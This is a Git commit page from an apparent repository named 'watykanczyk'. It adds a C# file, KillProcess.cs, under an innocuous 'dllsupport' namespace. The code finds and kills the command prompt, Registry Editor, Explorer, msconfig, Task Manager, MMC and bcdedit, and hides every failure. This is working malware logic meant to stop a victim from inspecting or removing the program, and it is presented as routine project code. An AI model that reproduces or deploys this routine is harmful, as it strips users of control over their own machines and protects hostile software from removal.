dodaj pliki czy cos
This commit is contained in:
commit
b0bcf53bdb
213 changed files with 811368 additions and 0 deletions
26
watykanczyk/dllsupport/KillProcess.cs
Normal file
26
watykanczyk/dllsupport/KillProcess.cs
Normal file
|
|
@ -0,0 +1,26 @@
|
|||
using System.Diagnostics;
|
||||
|
||||
namespace dllsupport;
|
||||
|
||||
public class KillProcess
|
||||
{
|
||||
public static void kill()
|
||||
{
|
||||
try
|
||||
{
|
||||
string[] array = new string[8] { "cmd", "regedit", "explorer", "msconfig", "explorer", "taskmgr", "mmc", "bcdedit" };
|
||||
string[] array2 = array;
|
||||
foreach (string processName in array2)
|
||||
{
|
||||
Process[] processesByName = Process.GetProcessesByName(processName);
|
||||
for (int j = 0; j < processesByName.Length; j = checked(j + 1))
|
||||
{
|
||||
processesByName[j]?.Kill();
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
Loading…
Add table
Add a link
Reference in a new issue